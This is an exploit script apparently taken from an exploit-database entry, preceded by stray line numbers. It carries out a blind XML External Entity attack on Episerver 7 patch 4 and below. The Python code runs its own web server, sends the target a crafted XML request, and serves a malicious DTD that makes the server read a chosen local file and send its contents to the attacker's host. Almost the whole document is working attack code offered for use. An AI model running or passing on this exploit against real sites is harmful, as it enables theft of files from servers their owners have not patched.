1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
2 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113

# Exploit Title: Episerver 7 patch 4 - XML External Entity Injection
# Google Dork: N/A
# Date: 2018-08-28
# Exploit Author: Jonas Lejon
# Vendor Homepage: https://www.episerver.se/
# Version: Episerver 7 patch 4 and below
# CVE : N/A

## episploit.py - Blind XXE file read exploit for Episerver 7 patch 4 and below
## Starts a listening webserver, so the exploits needs a public IP and unfiltered port, configure RHOST below!
## Usage: ./episploit.py <target> [file-to-read]

#!/usr/bin/python

from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import threading
import socket

SERVER_SOCKET = ('0.0.0.0', 8000)
EXFIL_FILE = 'file:///c:/windows/win.ini'

# The public facing IP. Change this
RHOST = '1.2.3.4:' + str(SERVER_SOCKET[1])

EXFILTRATED_EVENT = threading.Event()

class BlindXXEServer(BaseHTTPRequestHandler):

def response(self, **data):
code = data.get('code', 200)
content_type = data.get('content_type', 'text/plain')
body = data.get('body', '')

self.send_response(code)
self.send_header('Content-Type', content_type)
self.end_headers()
self.wfile.write(body.encode('utf-8'))
self.wfile.close()

def do_GET(self):
self.request_handler(self)

def do_POST(self):
self.request_handler(self)

def log_message(self, format, *args):
return

def request_handler(self, request):
global EXFILTRATED_EVENT

path = urllib.unquote(request.path).decode('utf8')
m = re.search('/?exfil=(.*)', path, re.MULTILINE)
if m and request.command.lower() == 'get':
data = path[len('/?exfil='):]
print 'Exfiltrated %s:' % EXFIL_FILE
print '-' * 30
print urllib.unquote(data).decode('utf8')
print '-' * 30 + ' '
self.response(body='true')

EXFILTRATED_EVENT.set()

elif request.path.endswith('.dtd'):
print 'Sending malicious DTD file.'
dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}

self.response(content_type='text/xml', body=dtd)

else:
print '[INFO] %s %s' % (request.command, request.path)
self.response(body='false')

def send_stage1(target):
content = '''<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://''' + RHOST + '''/test.dtd"><foo>&exfil;</foo>'''
payload = '''POST /util/xmlrpc/Handler.ashx?pageid=1023 HTTP/1.1
Host: ''' + target + '''
User-Agent: curl/7.54.0
Accept: */*
Content-Length: ''' + str(len(content)) + '''
Content-Type: application/x-www-form-urlencoded
Connection: close

''' + content

print "Sending payload.."
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = 80
s.connect((target,port))
s.send(payload)

def main(target):
server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
thread = threading.Thread(target=server.serve_forever)
thread.daemon = True
thread.start()
send_stage1(target)

while not EXFILTRATED_EVENT.is_set():
pass

if __name__ == '__main__':
if len(sys.argv) > 1:
target = sys.argv[1]
if len(sys.argv) > 2:
EXFIL_FILE = sys.argv[2]
main(target)